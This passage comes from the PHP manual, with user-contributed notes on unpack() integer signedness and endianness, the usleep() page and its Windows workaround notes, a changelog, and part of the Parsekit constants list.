This is due to the internal nature of PHP, being that integers are internally stored as SIGNED!

For x86 systems, unpack('N', "\xff\xff\xff\xff") results in -1
For (most?) x64 systems, unpack('N', "\xff\xff\xff\xff") results in 4294967295.

This can be verified by checking the value of PHP_INT_SIZE.
If this value is 4, you have a PHP that internally stores 32-bit.
A value of 8 internally stores 64-bit.

To work around this 'problem', you can use the following code to avoid problems with unpack.
The code is for big endian order but can easily be adjusted for little endian order (also, similar code works for 64-bit integers):

<?php
function _uint32be($bin)
{
    // $bin is the binary 32-bit BE string that represents the integer
    if (PHP_INT_SIZE <= 4){
        list(,$h,$l) = unpack('n*', $bin);
        return ($l + ($h*0x010000));
    }
    else{
        list(,$int) = unpack('N', $bin);
        return $int;
    }
}
?>

Do note that you *could* also use sprintf('%u', $x) to show the unsigned real value.
Also note that (at least when PHP_INT_SIZE = 4) the result WILL be a float value when the input is larger then 0x7fffffff (just check with gettype);

Hope this helps people.
David Gero dave at havidave dot com 25-Apr-2011 04:50
You might find these functions useful:

<?php
function byteStr2byteArray($s) {
        return array_slice(unpack("C*", "\0".$s), 1);
}
function byteArray2byteStr(array $t) {
        return call_user_func_array(pack, array_merge(array("C*"), $t));
}
function lsbStr2ushortArray($s) {
        return array_slice(unpack("v*", "\0\0".$s), 1);
}
function ushortArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("v*"), $t));
}
function lsbStr2ulongArray($s) {
        return array_slice(unpack("V*", "\0\0\0\0".$s), 1);
}
function ulongArray2lsbStr(array $t) {
        return call_user_func_array(pack, array_merge(array("V*"), $t));
}
?>

Of course, you can address byte strings as if they're arrays with numerical indexes, but the other functions are helpful.
zac at picolink dot net 22-Oct-2010 05:33
The documentation is clear that an integer read using an unsigned format character will still be stored as a signed integer.  The often-cited work-around is to use sprintf('%u', $bigint) to properly display integers with the MSB set.

In the case where the numeric value is more important than how it's displayed, you can still work with other large integers using intval() to "upgrade" your existing unsigned integers.

I had a problem comparing 32-bit integers read from files with hard-coded constants (file signatures tend to need this).  Here's what I did to avoid converting everything into strings:

<?php

$bigint = 0x89504E47;

$packed = pack('N', $bigint);

list($unpacked) = array_values(unpack('N', $packed));

//The $bigint remains an unsigned integer.
//Even though their bit-wise values are identical, comparison fails.

echo 'bigint ',
  ($bigint == $unpacked ? '==' : '!='),
  " unpacked\n";

//intval() triggers a re-interpretation of $bigint.
//$bigint is internally compared as a signed integer.
//Since the bit-wise value of $bigint never changes, comparison succeeds.

echo 'intval(bigint) ',
  (intval($bigint) == $unpacked ? '==' : '!='),
  " unpacked\n";

?>

It works, but it's a little backwards.  If anyone has any ideas on how to "downgrade" a signed integer into an unsigned integer without using strings, that would be a valuable note to add to the documentation.
Aaron Wells 08-Oct-2010 12:06
Another option for converting binary data into PHP data types, is to use the Zend Framework's Zend_Io_Reader class:
http://bit.ly/9zAhgz

There's also a Zend_Io_Writer class that does the reverse.
norwood at computer dot org 06-Apr-2010 11:15
Reading a text cell from an Excel spreadsheet returned a string with low-order embedded nulls: 0x4100 0x4200 etc. To remove the nulls, used

<?php
$strWithoutNulls = implode( '', explode( "\0", $strWithNulls ) );
?>

(unpack() didn't seem to help much here; needed chars back to re-constitute the string, not integers.)
Anonymous 24-Sep-2009 05:02
Functions I found useful when dealing with fixed width file processing, related to unpack/pack functions.
<?php
/**
* funpack
* format: array of key, length pairs
* data: string to unpack
*/
function funpack($format, $data){
    foreach ($format as $key => $len) {
        $result[$key] = trim(substr($data, $pos, $len));
        $pos+= $len;
    }
    return $result;
}

/**
* fpack
* format: array of key, length pairs
* data: array of key, value pairs to pack
* pad: padding direction
*/
function fpack($format, $data, $pad = STR_PAD_RIGHT){
    foreach ($format as $key => $len){
        $result .= substr(str_pad($data[$key], $len, $pad), 0, $len);
    }
    return $result;
}
?>
sica at wnet com br 20-Jul-2009 09:45
The script following is a example how to save more than one values on file separating its with "\r\n" and how to recovering its values.

<?php
// Save two integer values in a binary file
$nomearq = "./teste.bin";
$valor = 123;
$ptrarq = fopen($nomearq, "wb");
$valorBin = pack("L",$valor);
echo "First value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
echo "Separator \\r\\n with ";
echo fwrite($ptrarq, "\r\n")." bytes<br>";
$valor = 456;
$valorBin = pack("L",$valor);
echo "Second value ($valor) packed with ";
echo fwrite($ptrarq, $valorBin)." bytes<br>";
fclose($ptrarq);

// Recover the saved values
$ptrarq = fopen($nomearq, "rb");
$valorBin = file($nomearq,filesize($nomearq));
echo "<br>The reading values is:<br>";
foreach($valorBin as $valor){
  $valor = unpack("L",$valor);
  print_r($valor);
  echo "<br>";
}
fclose($ptrarq);
?>

Results:
First value (123) packed with 4 bytes
Separator \r\n with 2 bytes
Second value (456) packed with 4 bytes

The reading values is:
Array ( [1] => 123 )
Array ( [1] => 456 )
jlarsen at fsu dot edu 10-Dec-2008 12:40
As with perl, the count for hex is number of nybbles or half-bytes, this differs from the other options which count in full bytes.
Nhon 21-May-2008 10:42
As stated above, "if you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

To restore the original unsigned value, you could do this :

if ($unpackedVal <0)
{
      $unpackedVal += 4294967296;
}

Hope this helps !

Cheers
Anonymous Coward 28-Mar-2008 07:52
Warning: This unpack function makes the array with keys starting at 1 instead of starting at 0.

For example:
<?php
 function read_field($h) {
  $a=unpack("V",fread($h,4));
  return fread($h,$a[1]);
 }
?>
joe dot nemeth @ palg dot com 08-Feb-2008 07:29
A simpler solution is to mask the value with 0xffffffff. For instance:

<?php
$rec = unpack(
  "Vvalue/".
  "Vhash32/",
  $recbin);
$rec['hash32'] &= 0xffffffff;
$rec['value'] &= 0xffffffff;
?>

Unlike sprintf(), which converts the value to a string, this preserves the numeric type of the value.
Shawn Kelly 06-Feb-2008 09:14
Above it says this:

  "Note that PHP internally stores integral values as signed. If  you unpack a large unsigned long and it is of the same size as PHP internally stored values the result will be a negative number even though unsigned unpacking was specified."

This happened to me.  I wanted to get a big number from a unsigned long, but it kept coming returning a negative.  Happened to notice that sprintf('%u',$dta) will take the useless negative and restore it into its large unsigned proper magnitude.

Hope this saves someone a little time...
Justin dot SpahrSummers at gmail dot com 08-Oct-2005 09:10
I hadn't realized that if the number after the unpack type was 1 (i.e. "V1page"), that it would behave as if there was no number at all. I had been using a variable and didn't think to watch for this. For instance,

<?php

if ($something)
   $get = 2;
else
   $get = 1;

$arr = unpack("V" . $get . "page", $data);

?>

Now if $something was FALSE, then $arr will only have one entry named "page". If $something was TRUE, $arr would have "page1" and "page2".
info at dreystone dot com 04-May-2005 08:31
Here is my solution to reading a Big-Endian formatted double on an Little-Endian machine.

<?php

function ToDouble($data) {
    $t = unpack("C*", pack("S*", 256));
    if($t[1] == 1) {
        $a = unpack("d*", $data);
    } else {
        $a = unpack("d*", strrev($data));
    }
    return (double)$a[1];
}

?>
jjfoerch at earthlink dot net 21-Oct-2004 01:57
I had a situation where I had to unpack a file filled with little-endian order double-floats in a way that would work on either little-endian or big-endian machines.  PHP doesn't have a formatting code that will change the byte order of doubles, so I wrote this workaround.

<?php
/*The following code is a workaround for php's unpack function
which does not have the capability of unpacking double precision
floats that were packed in the opposite byte order of the current
machine.
*/
function big_endian_unpack ($format, $data) {
    $ar = unpack ($format, $data);
    $vals = array_values ($ar);
    $f = explode ('/', $format);
    $i = 0;
    foreach ($f as $f_k => $f_v) {
    $repeater = intval (substr ($f_v, 1));
    if ($repeater == 0) $repeater = 1;
    if ($f_v{1} == '*')
    {
        $repeater = count ($ar) - $i;
    }
    if ($f_v{0} != 'd') { $i += $repeater; continue; }
    $j = $i + $repeater;
    for ($a = $i; $a < $j; ++$a)
    {
        $p = pack ('d',$vals[$i]);
        $p = strrev ($p);
        list ($vals[$i]) = array_values (unpack ('d1d', $p));
        ++$i;
    }
    }
    $a = 0;
    foreach ($ar as $ar_k => $ar_v) {
    $ar[$ar_k] = $vals[$a];
    ++$a;
    }
    return $ar;
}

list ($endiantest) = array_values (unpack ('L1L', pack ('V',1)));
if ($endiantest != 1) define ('BIG_ENDIAN_MACHINE',1);
if (defined ('BIG_ENDIAN_MACHINE')) $unpack_workaround = 'big_endian_unpack';
else $unpack_workaround = 'unpack';
?>

This workaround is used like this:

<?php

function foo() {
        global $unpack_workaround;
    $bar = $unpack_workaround('N7N/V2V/d8d',$my_data);
//...
}

?>

On a little endian machine, $unpack_workaround will simply point to the function unpack.  On a big endian machine, it will call the workaround function.

Note, this solution only works for doubles.  In my project I had no need to check for single precision floats.
kennwhite dot nospam at hotmail dot com 28-Aug-2004 09:32
If having a zero-based index is useful/necessary, then instead of:

$int_list = unpack("s*", $some_binary_data);

 try:

$int_list = array_merge(unpack("s*", $some_binary_data));

This will return a 0-based array:

$int_list[0] = x
$int_list[1] = y
$int_list[2] = z
...

rather than the default 1-based array returned from unpack when no key is supplied:

$int_list[1] = x
$int_list[2] = y
$int_list[3] = z
...

It's not used often, but array_merge() with only one parameter will compress a sequentially-ordered numeric-index, starting with an index of [0].
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 07:54
This is about the last example of my previous post. For the sake of clarity, I'm including again here the example, which expands the one given in the formal documentation:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
     echo "\$array[$key] = $value <br>\n";
?>

This outputs:

$array[chars1] = 65
$array[chars2] = 65
$array[int] = 65

Here, we assume that the ascii code for character 'A' is decimal 65.

Remebering that the format string structure is:
<format-code> [<count>] [<array-key>] [/ ...],
in this example, the format string instructs the function to
  1. ("c2...") Read two chars from the second argument ("AA ...),
  2. (...chars...) Use the array-keys "chars1", and "chars2" for
      these two chars read,
  3. (.../n...) Read a short int from the second argument (...\0A"),
  4. (...int") Use the word "int" as the array key for the just read
      short.

I hope this is clearer now,

Sergio.
Sergio Santana: ssantana at tlaloc dot imta dot mx 09-Jul-2004 04:41
Suppose we need to get some kind of internal representation of an integer, say 65, as a four-byte long. Then we use, something like:

<?
  $i = 65;
  $s = pack("l", $i); // long 32 bit, machine byte order
  echo strlen($s) . "<br>\n";
  echo "***$s***<br>\n";
?>

The output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

4
***A***

(That is the string "A\0\0\0")

Now we want to go back from string "A\0\0\0" to number 65. In this case we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number 65
  $arr = unpack("l", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value<br>\n";
?>

And this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[] = 65

Let's give the array key a name, say "mykey". In this case, we can use:

<?
  $s = "A\0\0\0"; // This string is the bytes representation of number  65
  $arr = unpack("lmykey", $s);
  foreach ($arr as $key => $value)
     echo "\$arr[$key] = $value\n";
?>

An this outpus:
X-Powered-By: PHP/4.1.2
Content-type: text/html

$arr[mykey] = 65

The "unpack" documentation is a little bit confusing. I think a more complete example could be:

<?
  $binarydata = "AA\0A";
  $array = unpack("c2chars/nint", $binarydata);
  foreach ($array as $key => $value)
    echo "\$array[$key] = $value <br>\n";
?>

whose output is:

X-Powered-By: PHP/4.1.2
Content-type: text/html

$array[chars1] = 65 <br>
$array[chars2] = 65 <br>
$array[int] = 65 <br>

Note that the format string is something like
<format-code> [<count>] [<array-key>] [/ ...]

I hope this clarifies something

Sergio
adam at adeptsoftware dot com 17-Jun-2002 06:01
If you just want to extract a dword/long int from a binary string, the following code works beautifully (intel endian):

$Number = ord($Buffer{0}) | (ord($Buffer{1})<<8) | (ord($Buffer{2})<<16) | (ord($Buffer{3})<<24);
DanRichter.at.programmer.dot.net 10-Apr-2001 08:26
If no key name is given [e.g., unpack('C*',$data)], the keys are simply integers starting at 1, and you have a standard array. (I know of no way to get the array to start at zero.)

If you use multiple types, you must give a key name for all of them (except optionally one), because the key counter is reset with each slash. For example, in unpack('n2/C*',$data), indices 1 and 2 of the returned array are filled by integers ('n'), then overwritten with characters ('C').
iredden at redden dot on dot ca 12-Mar-2000 01:34
<?php

function parse_pascalstr($bytes_parsed, $parse_str) {
    $parse_info = unpack("x$bytes_parsed/cstr_len", $parse_str);
    $str_len = $parse_info["str_len"];
    $bytes_parsed = $bytes_parsed + 1;
    $parse_info = unpack("x$bytes_parsed/A".$str_len."str", $parse_str);
    $str = $parse_info["str"];
    $bytes_parsed = $bytes_parsed + strlen($str);

    return array($str, $bytes_parsed);
}

?>


Delay execution in microseconds

  • « unpack
  • Changelog »
  • PHP Manual
  • Misc. Functions
  • Delay execution in microseconds

usleep

(PHP 4, PHP 5)

usleep — Delay execution in microseconds

Description

void usleep ( int $micro_seconds )

Delays program execution for the given number of micro seconds.

Parameters

micro_seconds

Halt time in micro seconds. A micro second is one millionth of a second.

Return Values

No value is returned.

Examples

Example #1 usleep() example

<?php

// Current time
echo date('h:i:s') . "\n";

// wait for 2 seconds
usleep(2000000);

// back!
echo date('h:i:s') . "\n";

?>

The above example will output:

11:13:28
11:13:30

See Also

  • sleep() - Delay execution
  • time_nanosleep() - Delay for a number of seconds and nanoseconds
  • time_sleep_until() - Make the script sleep until the specified time
  • set_time_limit() - Limits the maximum execution time

User Contributed Notes

Docey 27-May-2007 11:19
WARNING!!

the snippet below by 'Marius (mm at co-operation dot de)' is NOT a usleep and it will keep the CPU at 100% running. why people keep posting that crap is a complete mystery for me.

the idea of sleep and usleep is that by letting the cpu run a few idle cycles so the other programs can have some cycles run of their own. what results in better response times and lower overall system-load. so if you have to wait for something, go to sleep for a few seconds instead of occupying the cpu while doing absolute nothing but waitting.
Mike at SevenCode dot com 11-Jan-2007 12:36
Dude you are SO the man for that code snippet. It worked like a charm. I just wanted to point out a couple things and offer my own improvement.

1. If you're like me, you were probably wondering why the socket had to keep being recreated on each call, and why you couldn't just create a static socket. Its because socket_select assumes you're passing in a pointer, and will alter the variable on return to reflect the actual sockets that were changed.

2. I couldn't figure out for the life of me why socket_select wasn't defined. Its because you hadn't enabled the right extension in php.ini

Ok so heres my slight improvement. The only real thing I did is use a static variable for the socket, to avoid creating a brand new socket on each call of this function. I'm not sure if socket creation will cause things to crash down the line like the other problems reported on here, but if you ask me better safe then sorry.

function Sleeper($mSec)
{
    //    For dummies like me who spent 5 minutes
    //    wondering why socket_create wasn't defined
    if(!function_exists('socket_create')){
        die("Please enable extension php_sockets.dll");
    }

    //    So the socket is only created once
    static $socket=false;
    if($socket===false){
        $socket=array(socket_create(AF_INET,SOCK_RAW,0));
    }
    $pSock=$socket;

    //    Calc time
    $uSex = $mSec * 1000;

    //    Do the waiting
    socket_select($read=NULL,$write=NULL,$pSock,0,$uSex);

    //    OCD
    return true;
}
php_manual at lk2 dot de 28-Dec-2006 11:16
I have no idea why nobody came up with this yet, but there is an efficient way to reproduce usleep() under windows:

<?php
function usleep_win($msec) {
   $usec = $msec * 1000;
   socket_select($read = NULL, $write = NULL, $sock = array(socket_create (AF_INET, SOCK_RAW, 0)), 0, $usec);
}
?>

* Doesnt busy wait
* Doesnt eat memory
* Works for millions of repetitions
* Seems to be rather efficient

It seems that the average error (on my machine) is about 5ms (it sleeps 5ms more than intended) thats probably due to code execution as well as kernel timers.

A socket without any purpose is highly unlikely to every cause an exception, so socket_select will always sleep until the timeout is hit.
Rasmus Schultz 23-Aug-2006 03:39
I have spent DAYS trying to create a reliable usleep()-replacement for Windows.

I have only this to offer:

As commented by someone else already, the gettimeofday() method used below is useless - PHP will use all available CPU power doing nothing.

The fsockopen() method apparently is also useless - as someone else commented, an fclose() was missing in the original post, but this apparently does not solve the problem. After calling the function about 50 or so times, fsockopen() returns immidiately, without any delay - and watching a process monitor in Windows, you can then watch the process taking up increasingly more memory, until eventually PHP aborts (or crashes) when it reaches maximum.

The win32api-method is also a no-go ... after calling the Sleep function a few hundred times (during which memory usage will also go up every time due to a memory leak somewhere), PHP will cause an exception and Windows will terminate it.

I have given up - I don't think there is any viable solution to this problem under PHP 4.

If you need this function, upgrade your project to PHP 5.

Or settle for 1-second delays with the sleep()-function.

These, unfortunately, seem to be your only options...
Patrick 26-Jul-2006 10:04
I want to create a daemon/Linux service. Here is an example of how to run a process that has "throttle control"

// You must set these
//
// max_execution_time = 0
// max_input_time = 0

function doProcess() {
    echo "Start"."\n";
    usleep(10000);
    echo "Stop"."\n";
    return false;
}

function manageProcess() {
    // Setup data
    $runsPerMinute = 200;
    $maxMinuteAverage = 5;
    $waitIfNotWorking = 120; // seconds

    // Conversion
    $microsPerSecond = 1000000;

    // Statistical Info
    $currentMinute = 0;
    $minute = -1;
    $countPerMinute = array();
    $sumPerMinute = array();

    // Totals
    $totalProcessTime = 0;
    $totalCounts = 0;

    while (true) {
        $timestart = microtime();
        $performedWork = doProcess();
        $timeend = microtime();

        if (!$performedWork) {
            // Statistical Info
            $currentMinute = 0;
            $minute = -1;
            $countPerMinute = array();
            $sumPerMinute = array();

            sleep($waitIfNotWorking);
        } else {

            $ts = split(" ",$timestart);
            $te = split(" ",$timeend);

            $te[0] = ($te[0] * $microsPerSecond) - ($ts[0] * $microsPerSecond);
            $te[1] = ($te[1] - $ts[1]) * $microsPerSecond;

            $processTime = $te[0] + $te[1];

            if (date("i")<>$minute) { // We are NOT in the same minute
                // Reset the new minute
                $minute = date("i");
                $currentMinute = ($currentMinute+1) % $maxMinuteAverage;

                // Remove Statistical Information from the minute we are expiring.
                if (isset($countPerMinute[$currentMinute])) {
                    $totalProcessTime = $totalProcessTime - $sumPerMinute[$currentMinute];
                    $totalCounts = $totalCounts - $countPerMinute[$currentMinute];
                }

                $countPerMinute[$currentMinute] = 0;
                $sumPerMinute[$currentMinute] = 0;
            }

            $countPerMinute[$currentMinute] = $countPerMinute[$currentMinute] + 1;
            $sumPerMinute[$currentMinute] = $sumPerMinute[$currentMinute] + $processTime;

            $totalCounts = $totalCounts + 1;
            $totalProcessTime = $totalProcessTime + $processTime;

            $averageRuntime = round($totalProcessTime / $totalCounts);

            $waitTime = (($microsPerSecond*60) / $runsPerMinute) - $averageRuntime;

            usleep($waitTime);
        }
    }

}

manageProcess();
gizmo at aoaforums dot com 03-Feb-2006 06:28
It should be noted that Windows machines have a resolution of either 10 mS or 15 mS (depending on the chipset implementation and HAL used) when using the Sleep() function in kernel32.dll.  This means that your average error will be either 5 or 7.5 mS.  This is not ordinarily a problem unless you really NEED to sleep for less time than the granularity provided by Windows.
gmc at serveisw3 dot net 08-Jul-2005 06:11
If you're using Windows then you maybe are in trouble with usleep if you really need to use it.

The Bernie's microdelay function using fsockopen does not work properly, and the fclose doesn't help much.

I don't know if network connections go strange, but I know it does not work since you've made more than 2000 - 3000 calls to it, so it's not a reliable solution in 'long life' php scripts, or these are the issues of the microdelay function in my PHP and PHP-GTK applications.

Though another solution should be found, and googling a bit I fount a WinAPI function: Sleep.

So I get with this snippet wich works fine for me, you get milliseconds precission but the more important, it works for long-run scripts and of course, it does not waste any CPU cycles.

dl('php_w32api.dll');

$GLOBALS['win32api'] =& new win32;

// USleep alternative for Windows and PHP4:
$GLOBALS['win32api']->registerfunction("long Sleep (long dwMillisecods) From kernel32.dll");

// Now you can call the function from everywhere in your script: $GLOBALS['win32api']->Sleep(milliseconds);

for ($msec = 2000; $msec > 0; $msec = $msec - 125) {
  echo "Hi. Next one in $msec msec.\n";
  $GLOBALS['win32api']->Sleep($msec);
}
Bertie 28-Nov-2003 08:47
A word of warning about the microdelay() code posted that uses the fsockopen - if you use this is a loop that delays for small periods you will very quickly run out of sockets/socket buffer space. And then your network connections go very strange......
busby at edoceo dot com 18-Jan-2003 01:04
Should be noted that functions that loop really fast to create a delay also consume 100% CPU while doing the loop.  Try creating a dummy loop that goes 100000 times, watch it choke your machine.  If you really need usleep() don't use windows.
dave at techweavers dot net 29-Dec-2000 04:29
To monitor a scripts CPU ussage and avoid any nasty CPU gobbling loops you can use this function (will not work with windows or safe mode) I know it works on FreeBSD:
function phpmon($max)
 {
 $cmd = `ps -Unobody -r -o%cpu`;
 $lines = explode("\n", $cmd);
 $usage = substr($lines[1], 0, strpos($lines[1], "."));
 $sleeprate = 500;
 while ($usage >= $max)
  {
  $cmd = `ps -Unobody -r -o%cpu`;
  $lines = explode("\n", $cmd);
  $usage = substr($lines[1], 0, strpos($lines[1], "."));
  usleep($sleeprate);
  }
 }

phpmon($MAX);

where $MAX is the maximum CPU you want the process to consume. e-mail me with any improvements/suggestions.

I have noticed that this consumes a lot of system CPU (at least in my limited testing) possibly from all of the system calls or the huge mathematical functions I used to test the effectiveness of the script.


Changelog

The following changes have been made to classes/functions/methods of this extension.

Version | Function | Description
5.6.3 | pack | The "q", "Q", "J" and "P" codes were added to enable working with 64-bit numbers.
5.5.0 | pack | The "Z" code was added with equivalent functionality to "a" for Perl compatibility.
 | unpack | Changes were made to bring this function into line with Perl: The "a" code now retains trailing NULL bytes. The "A" code now strips all trailing ASCII whitespace (spaces, tabs, newlines, carriage returns, and NULL bytes). The "Z" code was added for NULL-padded strings, and removes trailing NULL bytes.
5.3.4 | sleep | Before PHP 5.3.4, on Windows, sleep always returns NULL when sleep has occurred, regardless of whether the sleep was interrupted or not.
5.3.0 | time_nanosleep | This function is now available on Windows platforms.
 | time_sleep_until | This function is now available on Windows platforms.
5.0.5 | php_check_syntax | This function was removed from PHP.
5.0.3 | php_check_syntax | Calling exit after php_check_syntax resulted in a Segfault.
5.0.1 | php_check_syntax | error_message is passed by reference.
4.2.1 | highlight_file | This function is now also affected by safe_mode and open_basedir.

User Contributed Notes

There are no user contributed notes for this page.


Parsekit

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Parsekit Functions
    • parsekit_compile_file — Compile a PHP file and return the resulting op array
    • parsekit_compile_string — Compile a string of PHP code and return the resulting op array
    • parsekit_func_arginfo — Return information regarding function argument(s)

User Contributed Notes

There are no user contributed notes for this page.


Introduction

These functions allow runtime analysis of opcodes compiled from PHP scripts.

User Contributed Notes

There are no user contributed notes for this page.


Installation

This » PECL extension is not bundled with PHP.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/parsekit.

A DLL for this PECL extension is currently unavailable. See also the building on Windows section.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

PARSEKIT_QUIET (int)
Return full detail, but without unnecessary NULL entries.
PARSEKIT_SIMPLE (int)
Return shorthand opcode notation.
PARSEKIT_EXTENDED_VALUE (int)
Opnode Flag
PARSEKIT_RESULT_CONST (int)
Opnode Flag
PARSEKIT_RESULT_EA_TYPE (int)
Opnode Flag
PARSEKIT_RESULT_JMP_ADDR (int)
Opnode Flag
PARSEKIT_RESULT_OPARRAY (int)
Opnode Flag
PARSEKIT_RESULT_OPLINE (int)
Opnode Flag
PARSEKIT_RESULT_VAR (int)
Opnode Flag
PARSEKIT_USAGE_UNKNOWN (int)
Opnode Flag
PARSEKIT_ZEND_INTERNAL_CLASS (int)
Class Type
PARSEKIT_ZEND_USER_CLASS (int)
Class Type
PARSEKIT_ZEND_EVAL_CODE (int)
Function Type
PARSEKIT_ZEND_INTERNAL_FUNCTION (int)
Function Type
PARSEKIT_ZEND_OVERLOADED_FUNCTION (int)
Function Type
PARSEKIT_ZEND_OVERLOADED_FUNCTION_TEMPORARY (int) PHP >= 5.0.0
Function Type
PARSEKIT_ZEND_USER_FUNCTION (int)
Function Type
PARSEKIT_IS_CONST (int)
Node Type
PARSEKIT_IS_TMP_VAR (int)
Node Type
PARSEKIT_IS_UNUSED (int)
Node Type
PARSEKIT_IS_VAR (int)
Node Type
PARSEKIT_ZEND_ADD (int)
Opcode
PARSEKIT_ZEND_ADD_ARRAY_ELEMENT (int)
Opcode
PARSEKIT_ZEND_ADD_CHAR (int)
Opcode
PARSEKIT_ZEND_ADD_INTERFACE (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ADD_STRING (int)
Opcode
PARSEKIT_ZEND_ADD_VAR (int)
Opcode
PARSEKIT_ZEND_ASSIGN (int)
Opcode
PARSEKIT_ZEND_ASSIGN_ADD (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_AND (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_OR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_BW_XOR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_CONCAT (int)
Opcode
PARSEKIT_ZEND_ASSIGN_DIM (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ASSIGN_DIV (int)
Opcode
PARSEKIT_ZEND_ASSIGN_MOD (int)
Opcode
PARSEKIT_ZEND_ASSIGN_MUL (int)
Opcode
PARSEKIT_ZEND_ASSIGN_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ASSIGN_REF (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SL (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SR (int)
Opcode
PARSEKIT_ZEND_ASSIGN_SUB (int)
Opcode
PARSEKIT_ZEND_BEGIN_SILENCE (int)
Opcode
PARSEKIT_ZEND_BOOL (int)
Opcode
PARSEKIT_ZEND_BOOL_NOT (int)
Opcode
PARSEKIT_ZEND_BOOL_XOR (int)
Opcode
PARSEKIT_ZEND_BRK (int)
Opcode
PARSEKIT_ZEND_BW_AND (int)
Opcode
PARSEKIT_ZEND_BW_NOT (int)
Opcode
PARSEKIT_ZEND_BW_OR (int)
Opcode
PARSEKIT_ZEND_BW_XOR (int)
Opcode
PARSEKIT_ZEND_CASE (int)
Opcode
PARSEKIT_ZEND_CAST (int)
Opcode
PARSEKIT_ZEND_CATCH (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_CLONE (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_CONCAT (int)
Opcode
PARSEKIT_ZEND_CONT (int)
Opcode
PARSEKIT_ZEND_DECLARE_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DECLARE_FUNCTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DECLARE_INHERITED_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_DIV (int)
Opcode
PARSEKIT_ZEND_DO_FCALL (int)
Opcode
PARSEKIT_ZEND_DO_FCALL_BY_NAME (int)
Opcode
PARSEKIT_ZEND_ECHO (int)
Opcode
PARSEKIT_ZEND_END_SILENCE (int)
Opcode
PARSEKIT_ZEND_EXIT (int)
Opcode
PARSEKIT_ZEND_EXT_FCALL_BEGIN (int)
Opcode
PARSEKIT_ZEND_EXT_FCALL_END (int)
Opcode
PARSEKIT_ZEND_EXT_NOP (int)
Opcode
PARSEKIT_ZEND_EXT_STMT (int)
Opcode
PARSEKIT_ZEND_FETCH_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_FETCH_CONSTANT (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_R (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_TMP_VAR (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_DIM_W (int)
Opcode
PARSEKIT_ZEND_FETCH_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_FUNC_ARG (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_IS (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_R (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_OBJ_W (int)
Opcode
PARSEKIT_ZEND_FETCH_R (int)
Opcode
PARSEKIT_ZEND_FETCH_RW (int)
Opcode
PARSEKIT_ZEND_FETCH_UNSET (int)
Opcode
PARSEKIT_ZEND_FETCH_W (int)
Opcode
PARSEKIT_ZEND_FE_FETCH (int)
Opcode
PARSEKIT_ZEND_FE_RESET (int)
Opcode
PARSEKIT_ZEND_FREE (int)
Opcode
PARSEKIT_ZEND_HANDLE_EXCEPTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_CLASS (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_CONST (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_IMPORT_FUNCTION (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INCLUDE_OR_EVAL (int)
Opcode
PARSEKIT_ZEND_INIT_ARRAY (int)
Opcode
PARSEKIT_ZEND_INIT_CTOR_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_FCALL_BY_NAME (int)
Opcode
PARSEKIT_ZEND_INIT_METHOD_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_STATIC_METHOD_CALL (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_INIT_STRING (int)
Opcode
PARSEKIT_ZEND_INSTANCEOF (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY (int) PHP < 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_DIM_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_PROP_OBJ (int) PHP >= 5.0.0
Opcode
PARSEKIT_ZEND_ISSET_ISEMPTY_VAR (int) PHP >= 5.0.0
